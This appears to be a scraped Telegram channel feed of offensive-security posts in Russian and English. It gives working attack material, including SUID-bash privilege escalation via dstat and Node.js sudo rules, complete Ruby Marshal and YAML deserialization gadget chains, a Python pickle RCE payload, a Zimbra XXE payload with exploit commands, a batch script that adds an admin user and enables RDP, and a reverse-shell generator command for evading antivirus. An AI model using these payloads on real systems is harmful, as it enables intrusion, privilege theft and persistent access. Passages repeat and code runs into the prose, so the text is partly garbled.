Dstat Privilege Escalation
dstat можно использовать для мониторинга и просмотра системных ресурсов. Он поддерживает настраиваемые плагины. Поэтому мы можем создать вредоносный плагин, выполняющий код и запустить dstat с правами root.
Находим директорию с dstat:
Создаем плагин в той же директории, где и dstat с последующим кодом:
Смотрим, что хост видит плагин:
Запускаем:
И получаем рута:
dstat можно использовать для мониторинга и просмотра системных ресурсов. Он поддерживает настраиваемые плагины. Поэтому мы можем создать вредоносный плагин, выполняющий код и запустить dstat с правами root.
Находим директорию с dstat:
find / -type d -name dstat 2>/dev/nullСоздаем плагин в той же директории, где и dstat с последующим кодом:
import os
os.system('chmod +s /usr/bin/bash')Смотрим, что хост видит плагин:
dstat --list | grep <plugin_name>Запускаем:
doas -u root /usr/bin/dstat –<plugin_name>
И получаем рута:
bash -pPHP Filter Chain Generator
Если вам нужно обойти WAF или другой механизм проверки, то существует интересная тулза, которая помогает выполнить RCE без загрузки файла, естественно если вы можете играться с параметрами php.
Но сгенерированный результат получается длинным, а на сайте может быть ограничение по количеству символов.
Следовательно, нам нужно использовать короткие формы php, чтобы сделать нашу полезную нагрузку как можно короче
Так php тэг, можно просто представить в следующем виде <?php ?> :
А функцию system('<cmd>'), мы можем просто заменить на
И самый простетский пэйлоад будет выглядеть так
Если вам нужно обойти WAF или другой механизм проверки, то существует интересная тулза, которая помогает выполнить RCE без загрузки файла, естественно если вы можете играться с параметрами php.
Но сгенерированный результат получается длинным, а на сайте может быть ограничение по количеству символов.
Следовательно, нам нужно использовать короткие формы php, чтобы сделать нашу полезную нагрузку как можно короче
Так php тэг, можно просто представить в следующем виде <?php ?> :
<?= ?>А функцию system('<cmd>'), мы можем просто заменить на
``И самый простетский пэйлоад будет выглядеть так
<?= `<cmd>` ?>GitHub
GitHub - synacktiv/php_filter_chain_generator
Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.
❤1👏1
Forwarded from iMelnik
Очень недурная подборка тулзов для редтиминга.👁️🗨️
https://github.com/A-poc/RedTeam-Tools
Всем 🦫, а 🌎 Миру — мир!
#redteam #tools
https://github.com/A-poc/RedTeam-Tools
Всем 🦫, а 🌎 Миру — мир!
#redteam #tools
GitHub
GitHub - A-poc/RedTeam-Tools: Tools and Techniques for Red Team / Penetration Testing
Tools and Techniques for Red Team / Penetration Testing - A-poc/RedTeam-Tools
🔥3😁1
Prototype-Pollution.pdf
145.8 KB
Йо, всем!
Решил тут немного изучить Prototype Pollution.
Старался максимально по простому описать все, поэтому надеюсь, что всем понравится
Решил тут немного изучить Prototype Pollution.
Старался максимально по простому описать все, поэтому надеюсь, что всем понравится
🔥2❤1🤔1
Executing Shell Commands with Node.js
Если ты увидишь, что-то такое
То ты можешь попробовать сделать sudo-права через node.js
Создаем любой js файл с последующим кодом
Затем запускаем exec-func
Все благодарности вот этому челу
Если ты увидишь, что-то такое
(ALL) /usr/bin/node /usr/local/noscripts/*.jsТо ты можешь попробовать сделать sudo-права через node.js
Создаем любой js файл с последующим кодом
const { exec } = require("child_process");
exec("chmod u+s /bin/bash", (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});Затем запускаем exec-func
sudo /usr/bin/node /usr/local/noscripts/../../../../../../folder-name/file.js
И там уже.../bin/bash -pВсе благодарности вот этому челу
❤2🔥1
Forwarded from 1N73LL1G3NC3
RedTeam With OneNote Sections
1. Not affected by Protected View/ MOTW
2. Allows embedding Malicious Excel/Word/PPT files that will be played without protected view
3. Allows embedding HTA, LNK, EXE files and spoof extensions
4. Possible to format document in a way user are tricked into opening a malicious file or a link
1. Not affected by Protected View/ MOTW
2. Allows embedding Malicious Excel/Word/PPT files that will be played without protected view
3. Allows embedding HTA, LNK, EXE files and spoof extensions
4. Possible to format document in a way user are tricked into opening a malicious file or a link
👏1
Ruby Insecure Deserialization
# RU
В Ruby также возможна иногда сделать RCE через десериализацию. В основном это возможно благодаря методу Marshall, который сериализует и десериализует объекты.
Снизу вы можете найти PoC
# EN
In Ruby, it is also possible to sometimes do RCE through deserialization. This is mostly possible through the Marshall method, which serializes and deserializes objects.
At the bottom you can find the PoC
# RU
Более подробно можно узнать здесь
# EN
Learn more here
# RU
Есть еще тулза
# EN
There is also a tool
# RU
В Ruby также возможна иногда сделать RCE через десериализацию. В основном это возможно благодаря методу Marshall, который сериализует и десериализует объекты.
Снизу вы можете найти PoC
# EN
In Ruby, it is also possible to sometimes do RCE through deserialization. This is mostly possible through the Marshall method, which serializes and deserializes objects.
At the bottom you can find the PoC
require 'base64'
Gem::SpecFetcher
Gem::Installer
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)# RU
Более подробно можно узнать здесь
# EN
Learn more here
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.htmlhttps://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_ruby.htmlhttps://bishopfox.com/blog/ruby-vulnerabilities-exploits# RU
Есть еще тулза
# EN
There is also a tool
https://github.com/klezVirus/deser-rubyRuby Deserialization via YAML file
# RU
Тут не будет каких-то подробностей, считайте дополнение к прошлому посту
Сама команда выполняется в
Т. е сам YAML файл выглядит так
# EN
There won't be any details, just consider it an addition to the previous post
The command itself is executed in
That is, the YAML file itself looks like this
# RU
А содержимое ruby скрипта будет таким
# EN
And the contents of the ruby noscript will be
# RU
И потом делаем
# EN
And then do
# RU
Да там будут ошибки, однако наша команда будет выполняться.
# EN
Yes, there will be mistakes, but our command will be executed.
THX:
# RU
Тут не будет каких-то подробностей, считайте дополнение к прошлому посту
Сама команда выполняется в
git_setТ. е сам YAML файл выглядит так
# EN
There won't be any details, just consider it an addition to the previous post
The command itself is executed in
git_setThat is, the YAML file itself looks like this
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve# RU
А содержимое ruby скрипта будет таким
# EN
And the contents of the ruby noscript will be
require "yaml"
YAML.load(File.read("payload.yml"))# RU
И потом делаем
# EN
And then do
ruby deser.rb# RU
Да там будут ошибки, однако наша команда будет выполняться.
# EN
Yes, there will be mistakes, but our command will be executed.
THX:
https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/❤1
Forwarded from Похек
💥CVE-2022-44268 ImageMagick Arbitrary Local File Read
💥CVE-2022-44268 ImageMagick Arbitrary File Read PoC
💥CVE-2022-44268 Arbitrary File Read PoC - PNG generator
💥Payload generator and extractor for CVE-2022-44268 written in Python
💥cve-2022-44268-detector - detect malicious PNGs
💥CVE-2022-44268 ImageMagick Arbitrary File Read PoC
💥CVE-2022-44268 Arbitrary File Read PoC - PNG generator
💥Payload generator and extractor for CVE-2022-44268 written in Python
💥cve-2022-44268-detector - detect malicious PNGs
by PrivateShizoGitHub
GitHub - y1nglamore/CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment: The vulnerable recurrence docker environment for…
The vulnerable recurrence docker environment for CVE-2022-44268 - y1nglamore/CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment
🔥3
Python Deserialization via Pickle
# RU
У Python есть несколько методов сериализации объектов:
Модуль
Для эксплуатации мы будем использовать следующий метод:
Помимо этого есть еще библиотека
Этот модуль содержит различные методы, относящиеся к внутренним деталям модуля
Здесь нам потребуются два метода:
Теперь мы можем сделать свой пэйлоад для получения RCE. Кстати чтобы также сериализовался наш пэйлоад, то мы используем
# EN
Python has several methods for serializing objects:
We will use the following method to exploit it:
This module contains various methods related to the pickle module's internals
Here we need two methods:
PAYLOAD
# RU
У Python есть несколько методов сериализации объектов:
Marshall и PickleМодуль
Pickle реализует двоичные протоколы для сериализации и десериализации объектов Python. Однако модуль Pickle не является безопасным и лучше распаковывать только те данные, которым вы доверяете.Для эксплуатации мы будем использовать следующий метод:
pickle.dumps(obj)Помимо этого есть еще библиотека
pickletoolsЭтот модуль содержит различные методы, относящиеся к внутренним деталям модуля
pickleЗдесь нам потребуются два метода:
pickletools.optimize()pickletools.dis()Теперь мы можем сделать свой пэйлоад для получения RCE. Кстати чтобы также сериализовался наш пэйлоад, то мы используем
reduce в нашем классе# EN
Python has several methods for serializing objects:
Marshall and Pickle
The Pickle module implements binary protocols for serializing and deserializing Python objects. However, the Pickle module is not secure and will only decompress data that you trust.We will use the following method to exploit it:
pickle.dumps(obj)
Apart from that there is also the pickletools library.This module contains various methods related to the pickle module's internals
Here we need two methods:
pickletools.optimize()
pickletools.dis()
Now we can make our own payload to get the RCE. By the way, to serialize our payload as well, we use reduce in our classPAYLOAD
import base64
import pickle
import pickletools
import subprocess
class anti_pickle_serum:
def reduce(self):
command = ['id']
return subprocess.check_output, (command,)
exploit_obj = anti_pickle_serum()
raw_pickle = pickle.dumps({"serum" : exploit_obj}, protocol=0)
optimized_pickle = pickletools.optimize(raw_pickle)
pickletools.dis(optimized_pickle)
payload = base64.b64encode(raw_pickle)
print(payload)
THX:
https://docs.python.org/3/library/pickle.html
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd🔥2
Forwarded from frozen@rivens.life (Danila Saschenko)
XWiki.pdf
1.3 MB
На проекте столкнулся с
XWiki - приложением для создания вики. Так случилось, что оказалась уязвимая версия, что и послужило толчком для создания небольшого ресерча на тему последующей эксплуатации: абуз макросов, незаметная загрузка файлов, закрепление.👍1
Sudoedit Privilege Escalation (CVE-2023-22809)
#RU
Проверьте, что вы можете использовать sudoedit
Введя дополнительный дэш, мы можем заставить наш редактор работать от имени root
Теперь вы можете читать/писать файлы с привилегиями root
#EN
Check that you can use sudoedit
By introducing an extra dash, we can make our editor work as root
Now you can read/write files with root
Tools:
#RU
Проверьте, что вы можете использовать sudoedit
cat /etc/sudoersВведя дополнительный дэш, мы можем заставить наш редактор работать от имени root
export EDITOR='vim -- /path/to/your/files'Теперь вы можете читать/писать файлы с привилегиями root
sudoedit /etc/custom/service.conf#EN
Check that you can use sudoedit
cat /etc/sudoersBy introducing an extra dash, we can make our editor work as root
export EDITOR='vim -- /path/to/your/files'Now you can read/write files with root
sudoedit /etc/custom/service.confTools:
https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc🔥4
Forwarded from Похек
XXE to RCE Zimbra CVE-2019-9670
Всем привет! Проводя один из пентестов был найден Zimbra сервер. В ней была найдена очень интересная CVE-2019-9670. Если кратко, то это экплуатация XXE для получения RCE. Звучит интересно, да?)
Payload XXE:
Metasploit:
Все 3 сплойта отлично срабатывают, но есть пару нюансов.
Плохой нюанс кроется в Zaber. У него нет функции TLS verify skip, поэтому если будет кривой серт на сайте и только 443 открыт, то пользуйтесь Arambiz)
Хороший нюанс, даже если Arambiz не сможет достучаться до веб шела, то вы всё равно получите креды администратора. Поэтому постарайтесь найти логин форму и вы получите админку без веб шела.
Буду рад, если распространите этот материал!
Пользуйтесь на здоровье, но не думайте блечить 😉
Всем привет! Проводя один из пентестов был найден Zimbra сервер. В ней была найдена очень интересная CVE-2019-9670. Если кратко, то это экплуатация XXE для получения RCE. Звучит интересно, да?)
Payload XXE:
xxe [Ниже приведу парочку примеров, как эксплуатировать эту вулну.
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
Metasploit:
msf > use exploit/linux/http/zimbra_xxe_rceArambiz - эксплойт на Python3:
msf exploit(zimbra_xxe_rce) > show targets
...targets...
msf exploit(zimbra_xxe_rce) > set TARGET < target-id >
msf exploit(zimbra_xxe_rce) > show options
...show and set options...
msf exploit(zimbra_xxe_rce) > exploit
clone https://github.com/oppsec/arbimz.gitZaber - эксплойт на Go:
pip3 install -r requirements.txt
python3 main.py --url https://example.com/
install github.com/oppsec/zaber@latestЕсли у вас не находит бинарь, то пропишите абсолютный путь.
zaber -u https://example.com
-u https://example.comА после работ не забудьте добавить
$HOME/go/bin/ в свой PATH 😉Все 3 сплойта отлично срабатывают, но есть пару нюансов.
Плохой нюанс кроется в Zaber. У него нет функции TLS verify skip, поэтому если будет кривой серт на сайте и только 443 открыт, то пользуйтесь Arambiz)
Хороший нюанс, даже если Arambiz не сможет достучаться до веб шела, то вы всё равно получите креды администратора. Поэтому постарайтесь найти логин форму и вы получите админку без веб шела.
Буду рад, если распространите этот материал!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4
Сreate user via bat file extension
#RU
На данный момент изучаю Windows и его приколы.
Вот вам скрипт, для создания пользователя с правами администратора и с включенным RDP.
#EN
I am currently learning Windows and its tricks.
Here is a noscript to create an admin user with RDP enabled.
#RU
На данный момент изучаю Windows и его приколы.
Вот вам скрипт, для создания пользователя с правами администратора и с включенным RDP.
#EN
I am currently learning Windows and its tricks.
Here is a noscript to create an admin user with RDP enabled.
net user test password /add
net localgroup Administrators test /add
net localgroup “Remote Desktop Users” test /add
reg add “hklm\system\currentcontrolset\control\terminal server” /f /v fDenyTSConnections /t REG_DWORD /d 0❤2😁1
Обнимаю всех и надеюсь, что контент действительно заходит :)
Отдельно обнимаю @dnevnik_infosec
Отдельно обнимаю @dnevnik_infosec
❤4👍1🔥1
Domain Admin in a few seconds (CVE-2021-42278 | CVE-2021-42287)
Такой способ повышения уже существует почти два года, однако этот способ актуален и интересный. А какие компоненты оно затрагивает?
1. По стандарту в настройках, обычный пользователь домена может присоединить компьютер к AD только 10 раз.
Чтобы это проверить, можно выполнить следующую команду:
Чтобы отличать учетные записи пользователей от учетных записей компьютеров, они должны иметь в атрибуте
2.
Объединяя эти вулны, мы имеем примерно такой сценарий
Пользователь запрашивает
Сценарий эксплуатации выглядит так:
1. В домен добавляется новая учетная запись компьютера.
2. Созданная учетная запись компьютера переименовывается в соответствии с именем существующего контроллера домена
3. Запрашивается
4. Созданное имя учетной записи компьютера снова переименовывается в исходное значение.
5. Сервисный билет Kerberos запрашивается с использованием расширения
Звучит душно, благо есть noPac, который эксплуатирует данную проблему
THX:
Такой способ повышения уже существует почти два года, однако этот способ актуален и интересный. А какие компоненты оно затрагивает?
1. По стандарту в настройках, обычный пользователь домена может присоединить компьютер к AD только 10 раз.
Чтобы это проверить, можно выполнить следующую команду:
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties ms-DS-MachineAccountQuotaЧтобы отличать учетные записи пользователей от учетных записей компьютеров, они должны иметь в атрибуте
sAMAccountName на конце $. Однако прикол в том, что этот символ не всегда проверяется. Атрибутом имени учетной записи компьютера является sAMAccountName. Этот атрибут можно увидеть и отредактировать вручную с помощью ADSIEdit Tool2.
При запросе билета на обслуживание сначала необходимо предъявить TGT. Если запрашиваемый билет не найден KDC, KDC автоматически выполняет повторный поиск с последующим $. Если TGT получен для username, а пользователь username удален, то используя этот TGT для запроса сервисного билета для другого пользователя через S4U2self приведет к тому, что KDC будет искать username$ в AD. Объединяя эти вулны, мы имеем примерно такой сценарий
Пользователь запрашивает
TGT. Затем пользователь может попытаться удалить или переименовать исходную учетную запись компьютера. Получив TGT, пользователь может начать эксплуатировать sAMAccountName. А полностью зная, что KDC поставляет тикеты и временные сеансовые ключи пользователям и компьютерам в домене, мы это можем использовать для повышения привилегийСценарий эксплуатации выглядит так:
1. В домен добавляется новая учетная запись компьютера.
2. Созданная учетная запись компьютера переименовывается в соответствии с именем существующего контроллера домена
3. Запрашивается
Kerberos TGT с использованием обновленного имени учетной записи компьютера.4. Созданное имя учетной записи компьютера снова переименовывается в исходное значение.
5. Сервисный билет Kerberos запрашивается с использованием расширения
S4U2selfЗвучит душно, благо есть noPac, который эксплуатирует данную проблему
THX:
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.htmlhttps://github.com/elastic/detection-rules/blob/a5359ca675267220afedf67795cd1fd04881b2c8/rules/windows/privilege_escalation_samaccountname_spoofing_attack.tomlhttps://github.com/WazeHell/sam-the-adminGitHub
GitHub - Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user - GitHub - Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domai...
❤3
Forwarded from Похек
This media is not supported in your browser
VIEW IN TELEGRAM
Adobe Acrobat Reader CVE-2023-21608 RCE: разбор уязвимости
В этой статье мы рассмотрим, как использовалась уязвимость
#CVE #RCE #моястатья
В этой статье мы рассмотрим, как использовалась уязвимость
use-after-free в Adobe Acrobat Reader DC. Ошибка была обнаружена в ходе проекта по фаззингу, направленной на популярные программы для чтения PDF. В итоге была успешно использована уязвимость для удаленного выполнения кода в Adobe Acrobat Reader.#CVE #RCE #моястатья
Bypass AV with Hoaxshell
hoaxshell - это генератор
Т.к пэйлоад генерится необычным образом, то
Пример самой базовый команды, который генерит шелл
Держите:
hoaxshell - это генератор
rev-shells для Windows, который взаимодействует через HTTPТ.к пэйлоад генерится необычным образом, то
hoaxshell хорошо справился с AV-решениями, хотя иногда он обнаруживается Microsoft Defender, пэйлоад все равно легко замаскировать с помощью других инструментов или даже вручную.Пример самой базовый команды, который генерит шелл
python3 hoaxshell.py -s 10.10.10.120Держите:
https://github.com/t3l3machus/hoaxshell🔥5